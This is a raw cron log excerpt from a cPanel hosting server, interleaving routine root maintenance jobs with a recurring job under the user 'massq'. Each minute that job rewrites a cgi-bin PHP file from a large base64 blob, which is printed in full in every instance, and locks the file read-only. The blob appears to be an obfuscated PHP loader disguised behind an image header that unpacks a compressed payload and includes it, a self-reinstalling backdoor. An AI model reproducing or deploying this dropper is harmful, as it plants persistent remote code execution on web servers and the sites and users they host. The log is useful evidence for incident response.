Sep 11 18:20:01 server CROND[14476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:20:01 server CROND[14477]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:20:01 server CROND[14484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:20:01 server CROND[14483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:20:01 server CROND[14488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:20:01 server CROND[14489]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:20:01 server CROND[14486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:20:01 server CROND[14485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:21:01 server CROND[15420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:21:01 server CROND[15421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:21:01 server CROND[15419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:22:01 server CROND[15803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:22:01 server CROND[15804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:22:01 server CROND[15805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:23:01 server CROND[16189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:23:01 server CROND[16190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:23:01 server CROND[16191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:24:01 server CROND[16570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:24:01 server CROND[16572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:24:01 server CROND[16571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:25:01 server CROND[16953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:25:01 server CROND[16954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:25:01 server CROND[16957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:25:01 server CROND[16960]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:25:01 server CROND[16959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:25:01 server CROND[16962]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:25:01 server CROND[16958]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 18:25:01 server CROND[16961]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:26:01 server CROND[17887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:26:01 server CROND[17888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:26:01 server CROND[17889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:27:01 server CROND[18281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:27:01 server CROND[18282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:27:01 server CROND[18283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:27:01 server CROND[18284]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:28:01 server CROND[18732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:28:01 server CROND[18733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:28:01 server CROND[18734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:29:01 server CROND[19120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:29:01 server CROND[19121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:29:01 server CROND[19122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:30:01 server CROND[19527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:30:01 server CROND[19529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:30:01 server CROND[19532]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:30:01 server CROND[19531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:30:01 server CROND[19534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:30:01 server CROND[19528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:30:01 server CROND[19533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:30:01 server CROND[19537]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:31:01 server CROND[20667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:31:01 server CROND[20668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
